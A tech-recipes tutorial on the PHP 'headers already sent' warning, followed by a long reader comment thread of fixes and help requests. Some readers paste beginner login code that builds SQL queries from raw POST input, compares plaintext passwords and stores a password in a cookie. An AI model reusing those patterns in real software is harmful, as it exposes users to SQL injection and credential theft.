Cannot modify header information – headers already sent

This error message is commonly seen by programmers starting to use PHP. Understanding why this error occurs will help find the solution.

PHP handles lots of the work of generating web pages for you, without you even having to ask. A web page is composed of two parts, the header and the body.

When a coder makes a mistake in the manipulation or creation of the headers, this common php error is seen. Here is an example:

Warning: Cannot modify header information – headers already sent by (output started at /home/usr1/public_html/sent.php:42) in /home/usr1/public_html/includes/theme-header.php on line 12

The header is generally stuff that you don’t need to worry about, is generated automatically, and contains information about the page, the server, related cookies. The header information is important, but it is not typically seen by the user. Here are some examples:

Date: Mon, 10 Jul 2006 18:51:59 GMT
Server: Apache/2.2.0 (Unix) mod_ssl/2.2.0 OpenSSL/0.9.7g
Content-Encoding: gzip
Content-Type: text/html

Sometimes programmers want to change some of the header values. For example, if the PHP if generating XML output, the Content-Type should be changed to reflect this. Another common example is in redirecting the user’s browser to a different web page using the Location header element as described in this tech-recipes article.

The header must come first in the response from a web server and is separated from the body by one blank line. The reason this error occurs is that some part of the body of the web page has been sent to the user already when a request is made to set a header value. Because PHP simplifies many things for you, the problem may be hiding in plain site. Here are some guidelines for finding the problem:

1) Find the header() statement that is causing the problem. The error must be at or before this line.

2) Look for any statements that could send output to the user before this header statement. If you find one or more, change your code to move the header statement before them. Complex conditional statements may complicate the issue, but they may also help solve the problem. Consider a conditional expression at the top of the PHP script that determines the header value as early as possible and sets it there.

3) Make sure there is no white space outside of the php start and end tags. While a blank line before the <?php start tag may look innocent, when processed by PHP, it will turn into an echo statement printing out a blank line. This is a common culprit.

See the comments below as other people have figured out other specific solutions.

 

About Quinn McHenry

Quinn was one of the original co-founders of Tech-Recipes. He is currently crafting iOS applications as a senior developer at Small Planet Digital in Brooklyn, New York.
View more articles by Quinn McHenry

The Conversation

Follow the reactions below and share your own thoughts.

  • http://blog.zerodistortion.org Tim Glenn

    Great this helped me out a bunch. I would also use these commands to help debug:

    ini_set(‘display_errors’, true);
    ini_set(‘display_startup_errors’, true);
    error_reporting (E_ALL);

  • elz

    i am getting this error even though i dont have header() redirect code.

    the lines that prints out the error are on my setcookie() events.

    • rich

      I’m having the exact same problem. No header() redirect code and the line involves my setcookie() function

  • elz

    thought i would add that my problem was easily fixable via the same methods as it is still technically the same issue – setting values after outputting.

    just wanted to broaden the horizon on problems that generate this error output

    • http://www.tech-recipes.com Quinn McHenry

      That’s great — thanks for sharing! I haven’t run into this before, but now that you point it out, it makes sense.

  • Andrei

    Thanks a lot for this post!
    #3 solved my problem! :)

    • nathan

      > Hi, I have a the same issu on a site that I am deploying to dev site, how do I solve this problem, It works fine on localhost, but the moment i transferred my files over it gave this error.

  • Adrian Angelov

    Well, thank got I ran on this post.

    I have had this problem, however, no white spaces or whatsoever prior and this was not working as expected.

    The issue turned out to be that the file was a UTF-8 encoded file with BOM signature. This was causing the file header to be transferred prior the content has been processed, and therefore I have had the cannot modify headers error.

    Please check your files encoding as well as if it seems to you there is no error in your script.

    • MetalGarurumon

      Thanks! It works now :)))

    • http://thejimgaudet.com/ the Jim Gaudet

      U DA MAN… Removing DOM fixed it…

    • mark

      Uh, yeah, that’s nice, but….

      what if you need your PHP file to be UTF8 because you need non-ANSI characters in your script defined strings?

      My UTF8 .php file works fine on Windows 5.2.5, but barfs on a linux build of same version.

      Sigh.

      • Anonymous

        UTF-8 should work fine on any OS. It’s the BOM (Byte Order Mark) that causes the problem, but since UTF-8 always has the same byte order it doesn’t need a BOM. See http://unicode.org/faq/utf_bom.html#bom5

    • webPavulon

      Dude. I was iritaded when this thing happend and i had no idea why this error occures. Really big thanks for this tip. It looked like there was some echo or other stuff, but in code there wasn’t enything. Thnaks again.

    • Reza

      it works good.
      thanks a lot

    • NoahY

      Yes, that did it :) change encoding to “None” and the problem goes away.

    • http://twitter.com/CatOnSunday Cameron St.Michael

      This may be old, but I wanted to say this was the ONLY place I found this solution, and it WORKED!! I’d been working on getting headers right for a mobile site, and headers wouldn’t work. This solved it! Hope this leads other people with PHP header problems in the right direction!

      • lilmoma90

        Hello ANYONE PLEASE…I am not computer savy like that at all. Can somebody please walk me through the steps one by one. I was turning videos into mp3s and got these same messages. I dnt even know where to start and or what any of this means. Plzzzzzzzzz help me :-(>

    • Gonzalo

      Yeeehaaaaa man… thanks a lot!!!!!

    • Franz-josef Behr

      Incredible that this problem was caused by the BOM byte….

    • Ioncintea

      Could someone tell me what is wrong with that code

          Hello world!

         

    • Oz

      > Thank you!!!!!

    • Christian

      > THANK YOU!!!! Localhost site had no error and the server site created two of theses errors! File encoding haven’t crossed my mind.

  • Affordable Web Design

    Good advice thanks for the post

  • P M

    Very informative article. It was the blank line that was my problem. This article clearly explains subtle issues.

    Thanks

    • Packing Machines

      I had the same problem. the congif-sample file is having two empty lines at the end and they were causing trouble.
      Take care
      Problend

  • charlitos

    sigh , my god my I knew about the problems with the header since a long time ago, Ive been using PHP for years but today I just couldtn find what was wrong with mine, my header was on top of my page, no echos, everything seemed so clean…then I googled this and there you go, a single space was messin it up, this is exactly how my code was

    all i had to do was

    can you not the difference? i couldnt either :(

  • http://listen2russian.com/ Jon

    This had me pulling my hair out for hours today.

    I had all my php code before the HEAD without any whitespace. (you can’t imagine how many times I pressed the delete key trying to get rid of white space that wasn’t there :)

    Anway, the culprit was that Dreamweaver saved the .php file as as a UTF-8 format file (I had renamed it from a UTF .html file .. so it’s really my fault).

    When a .php file is saved as UTF it inserts a line break before everything, but it will be invisible in Dreamweaver.

    What you have to do is open the .php file in notepad, and ‘Save as’ ANSI.

    And now, you’re good to go!

    • Rajesh

      Thanks So much.
      I almost spent my 40 hrs on this. Lot many forums has mentioned to remove whitespace but no one has mentioned what you have suggested (Opening file in notepad and saving in ANSI format).
      Thanks again.

      • http://pulse.yahoo.com/_DY74BDNKNSQWY4732YEV3ZDHAU cax

        thanx dude…easy solution

    • Tom Eagles

      brilliant thx, :)

    • Surendra

      I have been working in php for last 4 years and i have resolved this error so many times using ob_start() or removing the spaces.But first time i was stuck to this situation for more than 2 hours and finally resolve this issue by saving file in notepad.

      Thanks alot.

  • Chris

    Thanks!

    • Fr

      Strange issue, I’ve removed header completely from html, actually, completely tags, and only with

      then it is working properly.
      I’ve got a line with echo before the header, and got the same warning – Cannot modify header information – headers already sent.
      This is happening on a linux environment, on windows (+Apache+mysql) I’ve got no such a messages, well, I didn’t compared those two php.ini properly.
      Anyway, thanks for help.

  • Klaus

    Thanks, helped me a lot.
    Amazing what some additional unnoticed whitespace can cause havoc
    sometimes.

  • Dan

    It did work! Colour me amazed! Ta!

  • Sachin

    hi
    please help me.. please please please.
    please take a look at the following script:
    it is giving the following errors
    —————————————————————————————
    Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/compkcom/public_html/cmpanel/check_login.php on line 11

    Warning: Cannot modify header information – headers already sent by (output started at /home/compkcom/public_html/cmpanel/check_login.php:11) in /home/compkcom/public_html/cmpanel/check_login.php on line 19
    —————————————————————————————
    here goes the php script
    —————————————————————————————————-
    :
    —————————————————————————————————-
    this script is running fine on my local windows server but giving the above mentioned errors on my linux hosted server..
    Please help me…
    Thanks..

    • http://www.tech-recipes.com Quinn McHenry

      Your database query may not be returning a valid result. It’s good practice to make sure the result returned from your mysql_query command is valid.. something like:

      if (!$result) {
      die(‘Invalid query: ‘ . mysql_error());
      }

      Dumping the error message may help in this case, too.

      Good luck!

  • dave

    wwwwwwwwwwwwwoooooow thanks sir problem solved,, stupid white space

  • dominic

    This helped me to some my problem. Where i was trying to generate a xml file using php.

    Thanks

    • Fr

      Actually, there are some solution, problem is well documented on link:
      http://php.net/manual/en/function.header.php

      It is related to earlier versions of PHP, or to setup in php.ini
      I’ve put on the very first line:

      Now, everything works fine, i-e you can have more than one header in your code.

      • RORO

        This did it! THANKS SO MUCH!! Nothing else worked and I tried it all!

        • GUTH2

          YOUR WELCOME

      • Anonymous

        Gre8!! i’ve been tryin to solve this prob from the early morning.everything works fine now:D:D:D 1000x

      • Anonymous

        just great…
        i am new to php
        and i was trying this script and tried everything without solving the problem
        i don’t now what that does but it worked
        thnks

        I would love to change the world, but they just won’t give me the source code!!!

      • Nova

        oh! its worked!!! last 2 days i m trying to get rid of “header sent” problem.. but your solution just worked like magic… thanks a lot

      • Captain Marvel

        Dude, you saved my bacon. Working on a Thematic child theme and got this error out of the blue (had long since saved changes made to functions.php). Had read this solution elsewhere, but was afraid to mess with the code. I took the plunge. It worked. Thank you!

      • nafri

        very recommended solution, work for me, thanks.

  • manuel

    how can modify display_error in php script ?

  • Lito

    Warning: Cannot modify header information – headers already sent by (output started at /home/misaghi/public_html/config.php:47) in /home/misaghi/public_html/login_process.php on line 79

  • IMQ

    this error will be thrown if u have any white spaces or any print or echo above header call.
    There should be no print , no echo and no spaces before or after header statement.

  • Anonymous

    thnks………
    i have been working on the same for the past 5 days……….. the error i had was a space before PHP tag..

  • Andy

    Legendary stuff… this article just saved my sanity. A white space after the close php tag in an ‘include’ file caused my hours of frustration.

    Thank you!

  • neoniflor

    That was fun….. whitespace really where a problem… thanks

  • Mithus

    That really great….thanx…..sooo mch….

  • http://www.lovezapp.com/ Jamie

    Ugh. Of course!! My problem was, as you said, hiding in plain site. I was echoing a file upload verification right before calling header(), and I didn’t even notice it.

    Thanks for the easy instructions!

  • Leandro

    I had an include with two blank lines after the ?> in that include… I deleted those blank lines and It works perfectly!

    Thanks!

  • http://bishnoi.co.in/ dinesh

    Make sure there is no white space outside of the php start and end tags

    This is really a culprit.
    Thanks for help.

  • Emmanuel Afonrinwo

    Thanks a lot, after reading and carefully looking through the codes paying attention to your advice theproblem was resolved.

  • Charlies

    I am not getting this error on my local PC, but when I upload the scripts to the hosting provide I get this error. How can I set my local machine to display the same error

    Cheers

  • aneesniittech

    hi,

    you can solve the problem of “Header already sent” by removing all print and echo statements.
    If its still does not work add ob_start() at the start of your file.It will work

    • Happy Dood

      Almost 2 weeks later after going into and out of all php files removing white spaces.
      Changing Editor…checking for white spaces again…..

      Adding ob_start() did the trick!!!!!!!!!

      Thank you so much!

    • Manjunath

      in my case, removing ob_start(), would worked fine. Also, we need to be careful about space before

      In situation it was happened because, of redirect() function, as there were some data was output to browser before I redirect.
      Placing ob_start() at the beginning of the file, will solve the issue.

  • Alla

    I love you.
    I had white spaces in my include files.
    Hours upon hours of frustration and headaches.
    Thank you.

    • meme

      hi, am quite new to programming, am having the same error “Warning: Cannot modify header information – headers already sent by……”
      ave not yet managed to solve this error even after going thro’ the posts, ave looked for the whitespaces but they aint there, am using dream weaver as my text editor, any help pliz

  • RS

    that does NOT always work… (white space solution that is)…
    this error can be for different reasons….

    • Alex

      in php.ini file:

      >output_buffering = 4096

      It’s works!

      >output_buffering = On

      It’s bad!

      • Ddbhp

        This solved my issue!! Obviously I need to study this php.ini and see what other magic can be controlled here ;)

        THANKS!!!

  • http://affiliit-reviews.com/ AffiliIt Reviews

    Thank you very much for your blog post. I was putting together a header redirect script that was more complicated that simply redirecting to one site. When it started erroring out, I thought what I wanted to do was not possible. I read another persons forum post about white space and it was unclear what he was exactly talking about. After reading your post I understood that the problem was with whitespace *outside* the php tages (whitespace on the html page). Thanks a lot for your help :)

  • anant tiwari

    above one is my index.php
    and i m trying to redired to zodia.php
    here what could be the problem
    say i m just redirecting and nothing else

    • anant tiwari

      Ah….!
      I got the problem,.. anyway thanks for all

    • anant tiwari

      Ah….!
      I got the problem,.. anyway thanks for all

      • GsfurfA

        good for you

  • Ivan

    Thank You!!!! :)

  • http://dxb.com/ amir

    I owe you a kiss !!! ;)
    Thanks for the post

    • Guth

      than give me one

  • Anonymous

    This article helped me bunches. Thanks.

  • http://www.the19XX.com/ Paul

    Thanks, I just had this problem, and your post solved it! I am a php newb, I almost had to reinstall my whole site.

  • Anonymous

    call ob_start(); function at the start of function,It will turn output buffering on, n no output will sent from script.

  • katy

    Jon I want to kiss your feet. I changed my file to ANSI and not UTF-8 and it works! Brilliant. I love you!

    • Uth

      my feet aren’t clean but you can

  • http://www.nerdrage.org/ Kjarri

    Grepping for a tag solved it for me;

    kjarri@hel:~/public_html/old_os$ grep -R “” *
    includes/header.php:

  • Anonymous

    I do this mistake (leaving a whitespace commonly) while I just beginner…

  • http://www.webdesigners-hub.com/ Vijendra Mishra

    Nice Help Thanks it’s really great

  • Anonymous

    Thanx a lot. I was strugling for hours to solve this redirect problem. I just put that line as the 1st line of the code block. It worked

    Thnk u very much dear

  • Mohsin Shah

    Thanks, tip number 3 saved my day :)

  • netsuke

    Thanks. Erased ?> and works like a charm.

    • ML

      I’m new at this and erased ?> on a php file i messed with. No idea why it worked but it did and the warning message is gone.

      thanks

  • Anonymous

    Not sure if this has been said already, but it’s well worth checking any inclued PHP files too. I.e. I have some MySQL config files included at the start of a login script. One of those had a white line after the ?> This was causing this problem.

    I found it easy to miss these includes first time round.

  • Anonymous

    yess..
    thx you,,
    its solved now

  • brandon

    this solved my problem THANK YOU!!!

  • Anonymous

    thx bro

  • Nawedita

    Thanks…..i solve my problem by this site.
    Good Job

  • Anonymous

    hello guys, i have a little problem with my php script. i use a PHP Validation for a form take a look at this good and maybe you can help me to solve my problem.

    This message I received when I press submit
    ” Warning: Cannot modify header information – headers already sent by (output started at /home/xxx/public_html/accounts/index.php:27) in /home/xxx/public_html/accounts/index.php on line 62″

    ————
    On line 27 in index.php is:
    Login to continue to the desired page
    ————-
    On line 62 in index.php is:
    header(‘refresh: 0; url=/required_page.php’);
    ————-
    This is the php script

    I would be happy if someone could help me!

  • Anonymous

    Very good and simple. Found header() and found my problem. Thanks

  • http://twitter.com/higorvaz Higor Câmara

    I loved this post and comments too. For months I looked to solve many errors like:
    Warning: Cannot modify header information – headers already sent by
    and
    Warning: session_start() [function.session-start]: Cannot send session cache limiter – headers already sent

    THE SOLUTION:

    In DW CS4 uncheck the Include Unicode Signature (BOM) by pressing CTRL+J: Page Properts > Title/Codification, save the page and no problem more…….

    -

  • Anonymous

    PHP – Warning: Cannot modify header information – headers already sent by
    php header problem.
    header(‘Location: http://www.php.net/‘);
    cannot redirct webpage.
    XAMPP PHP: 5.2.9
    you must open php.ini (C:xamppphpphp.ini)
    find
    output_buffering = off
    change
    output_buffering = 4096
    restart xampp.
    OK.
    PHP de header komutu ile sayfa yönlendiremiyorum.
    XAMPP PHP: 5.2.9 kullanıcısıyım.
    C:xamppphpphp.ini dosyasında
    output_buffering = off
    değerini
    output_buffering = 4096
    değiştirdikten sonra xampp yeniden başlattım.
    Sorun çözüldü.

  • http://twitter.com/mike_bobbitt Mike Bobbitt

    One more possibility that hasn’t been mentioned… if your code has a flush() anywhere in it, that may cause this problem. In this case, the output buffer is flushed and no more changes can be made to your header.

    I’ve been using a menu script which flush()ed and was causing this problem, so while “my” code wasn’t a problem, you may need to check all included code too.

  • Sherbertfiddler

    Beware of include files! They could have extra lines after your closing php tag. This was the culprit in my case.

  • http://www.dezignmatterz.com/ Mia

    I cannot for the life of me believe that an unnoticed simple white space could cause such an error ! I encountered this issue when I installed a php script within my functions.php & I was pulling my hair out – then I took a long deep breath and decided to look for a solution – I could not have imagined that this would have resolved the issue ( I was quite skeptical at first ) then I gave it a try and it DID work !
    Thank you very much – ( and my hair thanks you as well :D )
    M

    • Anonymous

      Glad we could help!

  • chitvendra
  • Skssumit744

    $b){ $body .= sprintf(“%20s: %sn”,$b,$_REQUEST[$a]); } $headers2 = “From: [email protected]“; $subject2 = “Thank you for contacting us”; $autoreply = “Thank you for contacting us. We will get back to you as soon as possible”; if($from == ”) {print “You have not entered an email, please go back and try again”;} else { if($name == ”) {print “You have not entered a name, please go back and try again”;} else { $send = mail($to, $subject, $body, $headers); $send2 = mail($from, $subject2, $autoreply, $headers2);if($send) {header( “Location: http://www.elxireit.com/thankyou.html” );}else{print “We encountered an error sending your mail”; } } }?>

  • Skssumit744

    i have recive this error..

  • Skssumit744

    Warning: Cannot modify header information – headers already sent by (output started at /home/elxireit/public_html/contactus.php:8) in /home/elxireit/public_html/contactus.php on line 8

  • Sunny aggarwal

    u ppl r genious…..i gt many 4m ur lil description…thx…

  • Jayvee_chua

    thanks so much for this article!!! didn’t realize that the blank line above the header() is the one causing the error.

  • Kieron

    Woops, heres my error

    Warning: Cannot modify header information – headers already sent in C:xampphtdocsoneillglasscmsnews_edit.php on line 55..

  • http://www.facebook.com/kieronk Kieron Keenan

    None of the above solutions (white space, ob_start_, BOM, open in notepad etc etc) fixed my warning code but I (with help from tutor) found another way to fix this so hopefully this will help if you have tried every other solution. Here was my warning:(Warning: Cannot modify header information – headers already sent in C:xampphtdocs######cmsnews_edit.php on line 55)So at the top of my page Dreamweaver had inserted this code:I am working in a LAMP environment locally and I think Apache or something was not reading the VIRTUAL properly. Something like that anyway, I’m new to PHPSo the fix was to change the virtual to a include:(you might not need the ‘../’ part)Save it and hope for the best!This fixed mine after spending hours trying to fix it.Hope this helps someone out!Kieron.

  • http://www.abouttiyo.web.id Tiyo Kamtiyono

    After taking care about the white space (point 3) I still can not view my RSS which syndicated by feedburner, but on my own blog, all the things looks like what it should be, thanks for this tips, :)

  • Wpko

    qmchenry : Thanks you too much, the two extra lines after ?> php closing tag, give us a lot problem. your article help us.

  • Rajnikant12345

    Thanks buddy, it worked and I learned a new thing .

  • Anne Shiever

    How do I fix this? When I go to the login page of my site this error message shows above the login… Warning: Cannot modify header information – headers already sent by (output started at /home/andre152/public_html/afreshentertainmentmagazine.com/wp-content/themes/FlexxSensation/lib/flexlayout.php:2) in /home/andre152/public_html/afreshentertainmentmagazine.com/wp-login.php on line 337

    When I try to put my login and password in to enter the site, I get this message listed below but I can not enter my site at all to attempt to fix anything! Please help me!

    Warning: Cannot modify header information – headers already sent by (output started at /home/andre152/public_html/afreshentertainmentmagazine.com/wp-content/themes/FlexxSensation/lib/flexlayout.php:2) in /home/andre152/public_html/afreshentertainmentmagazine.com/wp-login.php on line 337

    Warning: Cannot modify header information – headers already sent by (output started at /home/andre152/public_html/afreshentertainmentmagazine.com/wp-content/themes/FlexxSensation/lib/flexlayout.php:2) in /home/andre152/public_html/afreshentertainmentmagazine.com/wp-login.php on line 349

    Warning: Cannot modify header information – headers already sent by (output started at /home/andre152/public_html/afreshentertainmentmagazine.com/wp-content/themes/FlexxSensation/lib/flexlayout.php:2) in /home/andre152/public_html/afreshentertainmentmagazine.com/wp-includes/pluggable.php on line 690

    Warning: Cannot modify header information – headers already sent by (output started at /home/andre152/public_html/afreshentertainmentmagazine.com/wp-content/themes/FlexxSensation/lib/flexlayout.php:2) in /home/andre152/public_html/afreshentertainmentmagazine.com/wp-includes/pluggable.php on line 691

    Warning: Cannot modify header information – headers already sent by (output started at /home/andre152/public_html/afreshentertainmentmagazine.com/wp-content/themes/FlexxSensation/lib/flexlayout.php:2) in /home/andre152/public_html/afreshentertainmentmagazine.com/wp-includes/pluggable.php on line 692

    Warning: Cannot modify header information – headers already sent by (output started at /home/andre152/public_html/afreshentertainmentmagazine.com/wp-content/themes/FlexxSensation/lib/flexlayout.php:2) in /home/andre152/public_html/afreshentertainmentmagazine.com/wp-includes/pluggable.php on line 890

    • cgal

      I replaced headers (‘location:xxx.php’); with a javascript and there was no problem thereafter… it may not be the best solution, but it is one that works!

  • Jack

    Great tip qmchenry! That fixed the problem for me. I never knew the closing tag wasn’t necessary.

  • Web Site Helper

    The output_buffering = 4096 fixed it for me AFTER I made a change so my php.ini file changes would be recognized. I am hosting this on GoDaddy and had them install the latest php 5. They told me that php5 does not use php.ini. Instead, it uses php5.ini — but the fix is easy — all you have to do is rename php.ini to php5.ini. After I did that, it recognized my change and the warning message went away. Thanks for ALL THE WONDERFUL HELP here.

  • Robdavidsalmon

    Just used this article and the associated comments to solve my “header already sent” problem. Thanks. It’s good and rare to see such a well written explanation accompanied by such mature comments. Thanks to you all I still have a full head of hair and a happy boss!

    • Anonymous

      Thanks for the kind words. We have a pretty neat little community here. :)

  • http://www.holyblasphemy.net Derek

    You’re a genius! Thanks so much.

  • http://twitter.com/bizysite bizysite.com

    Hi, hit a problem after building a widget on Primrix 2.0, unfortunately this error really gives me no clue as to where the issue was. Problem solved by putting ob_start(); before session_start(); thanks Fr for the suggestion (couldn’t find any white space)

    Thanks to this article I’ve kept on top of the headers already sent error by correcting white space and other tricks but this almost had me beat!

  • technology guru

    hiya
    i got an easy solution for it… u check that are u calling header() function wrong

  • Torsten Dreier

    Worked for me. Thanks

  • http://twitter.com/triastanto Rahmadhany T

    one more,
    delete blank lines on your script!

    • http://twitter.com/triastanto Rahmadhany T

      i mean point no.3.

  • Nniesen

    Add this to the top of your code:

    ob_start();

  • Chenzhou_liufaming

    thanks

  • rich

    Good grief! 2 hours of my life lost!

    I added to the top of my code:

    ob_start();

    And did NOT add ob_flush(); to the bottom. This gave me the same error except that the line number shifted to the ob_flush(); line.

    I’m going to go take a nap now.

    • rich

      Oh, and what didn’t work for me was:

      1. deleting whitespace or
      2. saving my php file in ANSI format using Notebook.
      3. deleting the ?> at the end of my php file
      4. deleting whitespace at the end of my php file and all included files.

    • rich

      also, I didn’t have this error using PHP version 5.4.3.0, which was the EasyPHP on my local Windows computer.

      But when I transfered my code to my Linux server, which uses PHP version 5.3.2, I got the error message. *shakes fists*

  • Sendilrr

    I have corrected this error. please include ob_start(); in your connection file.

  • Sendilrr

    please include in your top of the file and please include in your bottom file;

  • mrm

    I’m having the same problem here is my code:

  • Neo

    thanks

  • Muhammad Farooqi

    OOH.. myGod.. excellent man…

  • Darisx

    Thanks, I have been solved header() problem.

  • Jclark_4321

    Wow. I honestly cannot thank you enough for this. I somehow got a space before my opening

  • Todljd

    not too bad

  • Jamescb0

    Thanks for that… removed the “HTML DOCTYPE” statement at the very top and all working now.. cheers

  • Dan

    Removing BOM using notepad ++ fixed. I am so pissed off, why isn’t this information more obvious? Irritating as hell.

  • jerry

    I had the same error but realized that i was echoing some variables (for testing purposes) to the screen right before I was redirecting to another page. I got rid of the echo lines, and got rid of the error.

    • Zory

      Had the same thing – spent ages looking out for spaces in all my included php scripts and eventually deleted  testing ‘echo’ line just before sending headers – and it solved the issue. God, I wish i did it straight away, havens, I spent smth like 2 hrs to solve it!

  • Arpan02paliwal

    Its too useful….

  • http://twitter.com/plasticmusique Andris Ratnieks

    Thanks! This helped! :)

  • eden

    same thing.. IDK what to do

  • im php nppb

    BILLION TONS OF THANK YOU . . . .i loose ALL MY DAY
    thank you thank you thank you

  • Mgfrias

    OMG!!! I spent about an hour figuring out what was wrong with my code and it’s the white space (one single space) before the

  • Truby

    I’m facing the same problem, when i execute my log in code, the following error is displays

    Warning: Cannot modify header information – headers already sent
    by (output started at
    /home/excell25/public_html/uop/client-sign-in.php:7) in /home/excell25/public_html/uop/client-sign-in.php on line 173

    Warning: Cannot modify header information – headers already sent
    by (output started at
    /home/excell25/public_html/uop/client-sign-in.php:7) in /home/excell25/public_html/uop/client-sign-in.php on line 174

    Warning: Cannot modify header information – headers already sent
    by (output started at
    /home/excell25/public_html/uop/client-sign-in.php:7) in /home/excell25/public_html/uop/client-sign-in.php on line 183

    code from line 173 to 183-

    setcookie(‘ID_my_site’,$_POST['mail'],$hour);
    setcookie(‘Key_my_site’,$_POST['password'],$hour);
    ?>

  • Truby

    code from line 173 to 183-

    setcookie(‘ID_my_site’,$_POST['mail'],$hour);
    setcookie(‘Key_my_site’,$_POST['password'],$hour);

    require(“client-sign-in/log_client.php”);

    if($info['active']==1)
    {
    header(“location:clients/index.php”);

  • Truby

    How to remove DOM? I ‘m new to it. Please help!

    if my file is a UTF-8 encoded file with no BOM signature, will i get the error?? how can i change it?

  • Truby

    I dint add any DOM elements…

  • Shan

    Thanks ob_start(); is a magic :)

  • 2Cool

    Point number 3 was the main cause. There a single space at the end of the PHP file which caused tremendous amount of frustration.

    Thanks a lot.

  • http://www.ruhnufoorum.com Klamber|ext.

    Thank’s to Adrian Angelov i found out that some of my files were encoded with
    utf 8 BOM and gave me header error. I was going nuts …

    Already was thinking to go to bed… and see if that helped :D

    Thanks again! :)

  • alvin

    For me I was following a tutorial on adobe website and if your like me having the same problem of header.. go in manage site switch from links relative to site to relative to documents. Regenerate any server behaviours and try your new webpage. It should fix it. I noticed now my page have

  • Treasure

    Hello here…my case is a bit different, mine is working perfectly on local server, but not working giving me the error when uploaded, I have cleared all the white spaces, I have changed the my header location making sure is not after echo or print, can somebody help me here?

    I have been on this for some times.

  • http://www.zdrava-dieta.info/ chudnut

    i’ve made plugin for wordpress
    and i don’t know why my code makes wp fail to redirect
    error same as above
    thanks for sharing this articles
    it helps me a little :D

  • http://wplovr.com wp lovr

    Thank you so much.. it works.. I guessed it such as a complicated problem but truly it is just simple problem, I fixed it by deleting unnecessary lines in closing php tag…

  • http://lolwutsrsly.com AdamT

    @aneesniittch is awesome. try this.

  • MortgagesByMark

    Props to John who posted on 12/18/2008. I didn’t realize my text editor was saving the file I was modifying as UTF-8. Once I did save as ANSI, the problem was resolved.

  • Ryan

    I’m completely dumbfounded by this issue that I’m having. This is the error that I’m getting…

    Warning: Cannot modify header information – headers already sent by (output started at /home/rdrewniak1/webfiles/dmit271/assignments/final_project/admin/includes/admin-header.php:110) in /home/rdrewniak1/webfiles/dmit271/assignments/final_project/admin/products.php on line 92

    So, if I’m understanding this right, I should be looking at admin-header.php at line 110 for any extra white space?

  • zeid

    Thanks a lot for info

  • Denoz M.

    Hi am not so much a professional at php still beginning and so far i have a few successes and this one is becoming a headache… any help will be appreciated… i have pasted the whole code below… someone please help

    this is the error i get

    Warning: Cannot modify header information – headers already sent by (output started at /home/afmakorg/public_html/dbs/loguser.php:1) in /home/afmakorg/public_html/dbs/loguser.php on line 76

     $value) {
    $get[$key] = filter($value); //get variables are filtered.
    }

    if ($_POST['Login']==’Login’)
    {

    foreach($_POST as $key => $value) {
    $data[$key] = filter($value); // post variables are filtered
    }

    $user_email = $data['usr_email'];
    $pass = $data['pwd'];

    if (strpos($user_email,’@’) === false) {
    $user_cond = “user_name=’$user_email’”;
    } else {
    $user_cond = “user_email=’$user_email’”;

    }

    $result = mysql_query(“SELECT `id`,`pwd`,`full_name`,`approved`,`user_level` FROM users WHERE
    $user_cond
    AND `banned` = ’0′
    “) or die (mysql_error());
    $num = mysql_num_rows($result);

    // Match row found with more than 1 results – the user is authenticated.
    if ( $num > 0 ) {

    list($id,$pwd,$full_name,$approved,$user_level) = mysql_fetch_row($result);

    if(!$approved) {
    //$msg = urlencode(“Account not activated. Please check your email for activation code”);
    $err[] = “Account not activated. Please check your email for activation code”;

    //header(“Location: loguser.php?msg=$msg”);
    //exit();
    }

    //check against salt
    if ($pwd === PwdHash($pass,substr($pwd,0,9))) {
    if(empty($err)){

    //session_regenerate_id (true); //prevent against session fixation attacks.
    // this sets variables in the session
    $_SESSION['user_id']= $id;
    $_SESSION['user_name'] = $full_name;
    $_SESSION['user_level'] = $user_level;
    $_SESSION['HTTP_USER_AGENT'] = md5($_SERVER['HTTP_USER_AGENT']);

    //update the timestamp and key for cookie
    $stamp = time();
    $ckey = GenKey();
    mysql_query(“update users set `ctime`=’$stamp’, `ckey` = ‘$ckey’ where id=’$id’”) or die(mysql_error());

    //set a cookie

    if(isset($_POST['remember'])){
    setcookie(“user_id”, $_SESSION['user_id'], time()+60*60*24*COOKIE_TIME_OUT, “/”);
    setcookie(“user_key”, sha1($ckey), time()+60*60*24*COOKIE_TIME_OUT, “/”);
    setcookie(“user_name”,$_SESSION['user_name'], time()+60*60*24*COOKIE_TIME_OUT, “/”);
    }
    header(“Location:myaccount.php”);
    }

  • Happy person

    You are a life saver!!!

  • subbaiah

    Hai friends,
    I have always trouble in php when using header().it displays an warning as follows Cannot modify header information – headers already sent by (——blah,blah—–) for the following coding please tell how to clear the warning and what is the mistake i have made?

    login.php//////////
    view();
    ?>

    LOGINLOGIN PAGE

    function Login()
    {
    var uname=document.getElementById(“username”).value;
    var upass=document.getElementById(“password”).value;
    var reg=/^[A-Za-z]+$/;
    if(uname==””)
    {
    alert(“Enter username”);
    return false;
    }
    if(upass==””)
    {
    alert(“Enter password”);
    return false;
    }
    else
    {
    document.forms["ss"].action=”login.php”;
    document.forms["ss"].submit();
    return true;
    }
    }
    function Signup()
    {
    document.forms["ss"].action=”signup.php”;
    document.forms["ss"].submit();
    return true;
    }

    Username:

    Password:

    class.php/////////////////////////////////////////////////

    db=new db_conn();
    }
    public function view()
    { if($_POST['SignIn']){
    $uname=$_POST['username'];
    $passwd=$_POST['password'];
    $query=mysql_query(“SELECT name, password FROM my WHERE (name = ‘$uname’ AND password = ‘$passwd’)”);
    $no_of_rows = mysql_num_rows($query);
    if($no_of_rows==1)
    { header(“Location:login.php”);
    //echo “correct <a href='newuser.php' rel="nofollow">please click the line “;
    }
    else{ echo “noncorrect”;
    }
    }
    }
    }
    ob_flush();
    ?>

    dbconn.php////////////////////////////////////////////////////

    con = mysql_connect($this->server, $this->dbuser, $this->dbpass);
    mysql_select_db($this->dbName, $this->con);
    }
    public function selQuery($query){
    $result=mysql_query($query,$this->con);
    return $result;
    }
    }
    ob_flush();
    ?>

    pls tell how to recover from the warning.

  • ahsan

    this is just a whitespaces problem, goto output line number, find whitespace and remove that, that’s it

  • Chris Wren

    Thank you much, I had one space of whitespace.

  • Bishop

    GREAT POST! really helped me out! Thanks!

  • Chris F

    Don’t usually post, but I found the the solution to my prob on this page:I saved as UTF-8 WITHOUT BOM.
    Jeez what a Bommer ! Thanks a lot.

  • prab

    here is my code

    Hello’;

    $padding = 10;
    $fsize = 12; #font size 12 pixels
    $ttf =”./verdana.ttf”; #path to windows ttf font file
    $size = imagettfbbox($fsize, 0, $ttf, $text);
    // $xsize = abs($size[0]) + abs($size[2])+($padding*2);
    // $ysize = abs($size[5]) + abs($size[1])+($padding*2);
    $image = imagecreate(600, 600);//imagecreate($xsize, $ysize);
